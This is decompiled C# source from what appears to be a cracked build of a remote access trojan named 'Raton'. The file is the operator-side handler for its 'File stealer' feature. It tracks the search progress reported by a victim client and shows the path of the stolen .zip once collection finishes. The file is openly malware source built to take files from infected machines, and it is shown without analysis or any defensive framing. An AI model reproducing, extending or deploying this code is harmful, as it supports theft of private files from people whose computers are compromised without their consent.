48 lines
1.6 KiB
C#
48 lines
1.6 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: Server.Handlers.HandleFileSearch
|
|
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
|
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
|
|
|
using Raton.Forms.ClientForms.Stealers;
|
|
using Server.Connection;
|
|
using Stuff;
|
|
using System;
|
|
using System.Drawing;
|
|
using System.Windows.Forms;
|
|
|
|
#nullable disable
|
|
namespace Server.Handlers;
|
|
|
|
internal class HandleFileSearch
|
|
{
|
|
public HandleFileSearch(SillyClient client, Unpack rip2pac)
|
|
{
|
|
ratonFileEx ratonfile = (ratonFileEx) Application.OpenForms["File stealer | Client ID: " + rip2pac.GetAsString("UID")];
|
|
int v = rip2pac.GetAsInteger("Progress");
|
|
if (ratonfile == null)
|
|
return;
|
|
if (ratonfile.SillyClient == null)
|
|
ratonfile.SillyClient = client;
|
|
ratonfile.Invoke((Delegate) (() =>
|
|
{
|
|
ratonfile.label2.Text = $"{v}%";
|
|
string asString = rip2pac.GetAsString("Path");
|
|
if (v == 100 && !string.IsNullOrEmpty(asString))
|
|
{
|
|
ratonfile.label1.Text = "Got the file stealer .zip!";
|
|
ratonfile.label1.ForeColor = Color.LightGreen;
|
|
ratonfile.textBox1.Text = asString;
|
|
ratonfile.button1.Enabled = true;
|
|
}
|
|
else if (v == 100 && string.IsNullOrEmpty(asString))
|
|
{
|
|
ratonfile.label1.Text = "No files found.";
|
|
ratonfile.label1.ForeColor = Color.OrangeRed;
|
|
}
|
|
else
|
|
ratonfile.label1.Text = "Searching files...";
|
|
}));
|
|
}
|
|
}
|